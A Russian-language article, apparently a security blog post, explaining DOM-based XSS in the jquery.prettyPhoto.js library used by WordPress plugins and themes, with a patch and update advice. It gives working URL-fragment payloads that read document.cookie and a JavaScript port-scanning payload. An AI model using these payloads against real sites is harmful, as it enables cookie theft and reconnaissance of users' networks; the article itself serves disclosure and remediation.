DOM-Based XSS в WordPress


DOM Based XSS в jquery.prettyPhoto.js

Однажды, в студеную, зимнюю пору… А не, это было солнечным, осенним утром 😀

DOM-Based XSS WordPress

Ну, а если серьезно, какие возможности предоставляет XSS уязвимость?

Если в трех словах, то:

Это контроль и манипуляция браузером пользователя.

Следовательно, XSS атака может быть направлена на любого (клиента) пользователя сайта, включая и привилегированных юзеров таких, как  администраторы, модераторы, редакторы и т. д.

Особенности DOM Based XSS

DOM (Document Object Model) — это объектная модель HTML/XML документов, позволяющая вносить динамические изменения в структуру последних. DOM активно используется в Ajax запросах HTML5 и  JQuery, что позволяет манипулировать структурой и содержанием веб страниц на лету без перезагрузки.

Т. е. все изменения происходят на стороне клиента, без отправки дополнительных запросов на сервер, в следствии чего обнаружить DOM XSS разведку, практически не возможно! Т. к. вся работа ведется на стороне клиента, без отправки данных на сервер.

Более того, клиентская часть веб приложения может быть просто сохранена на жесткий диск и исследоваться локально.

Главным отличием DOM XSS атаки, является отсутствие встраиваемых данных в HTML-код, что делает ее обнаружение достаточно затруднительным.

DOM-Based XSS (Type 0) возникает из-за недостаточной обработки данных в JavaScript, и может быть обнаружена даже в простой HTML странице, которая использует JS.

В отличии от Reflected XSS (отраженная) и Persistent XSS (постоянная) DOM Based XSS является не такой популярной, а следовательно и малоизученной в силу своей специфики, т. к. анализ больших JS и JQuery библиотек задача о_Очень энергозатратная.

Данный вид уязвимостей присутствует на многих достаточно популярных сайтах, видимо в силу отсутствия соответствующей компетенции разработчиков.

Более того, даже при наличии необходимых знаний и опыта, ручной поиск DOM XSS уязвимостей занимает очень много времени. Для автоматизации этого процесса можно использовать специальный плагин DOMinatorPro, правда есть у него один недостаток — это цена 1000€.

/*Тут без комментариев, ибо у каждого свое мнение на этот счет.*/

Кстати базовое изучение DOM XSS, можно начать с помощью бесплатного плагина DOMinator, который используется на базе браузера Namoroka.

Многие администраторы сайтов с некоторой халатностью относятся к такого рода уязвимостям, считая, что DOM XSS несет в себе только косвенную угрозу для веб проекта, но это мнение ошибочно, т. к. даже если на сайте отсутствует регистрация, и бдительный админ считает, что его куки не прикосновенны, вектор атаки может быть использован, например для  сканирования портов с помощью компонента XMLHttpRequest.

Естественно, атака будет производиться в контексте эксплуатируемого домена.

В конце статьи я приведу простой пример реализации сего действа.

 DOM Based XSS в WordPress

Как видно из названия статьи, DOM XSS уязвимость находиться в библиотеке jquery.prettyPhoto.js, которая чаще всего эксплуатируется плагином PrettyPhoto, однако, данная библиотека активно используется в некоторых темах WordPress, и самое опасное в самописных сайтах (темах) на базе различных CMS, которые никто и никогда не обновляет.

DOM XSS prettyPhoto WordPress

C помощью библиотеки jquery.prettyPhoto.js может быть использовано два вектора атаки:

#prettyphoto[pp_gal]/2,<img src=1 onerror=alert(document.cookie)>

#!prettyPhoto/2,<a onclick="alert(document.cookie);">/

Как я уже писал, атака DOM XSS может быть направлена не только на угон куков, и в качестве примера приведу простой код сканирования портов на JavaScript:

#prettyphoto[pp_gal]/2,<img src=1 onerror='var host = "sites.com";var port = "80";browser=new XMLHttpRequest;browser.open("GET","http://"+host+":"+port, true); browser.send(null); timer=window.setTimeout(checkState,2000); function checkState(){if (browser.readyState == 4){alert(port+"open!");} else {alert(port+"close!");}}'>

В результате работы скрипта будет выведен alert с результатом подключения к удаленному порту.

Есть два способа пофиксить DOM XSS уязвимость в jquery.prettyPhoto.js

Первый способ предполагает ручное внесение изменений в код библиотеки:

hashIndex = parseInt(hashIndex);

hashRel = hashRel.replace(/([ #;&,.+*~\':"!^$[\]()=>|\/])/g,'\\$1');

Второй (более гуманный) способ это обновление библиотеки (плагина, темы) jquery.prettyPhoto.js в автоматическом режиме.

Исправленную библиотеку можно скачать здесь:

github.com/Duncaen/prettyphoto/blob/3ef0ddfefebbcc6bbe9245f9cea87e26838e9bbc/js/jquery.prettyPhoto.js

 

P.S. В общем, как вы поняли из статьи, уязвимости могут находиться не только в серверной, но и в клиентской части веб приложения, которая может состоять только из HTML страничек, и использовать JS для динамического (интерактивного) взаимодействия с пользователем.

А вывод простой: Необходимо регулярно проверять актуальность и обновлять используемое ПО.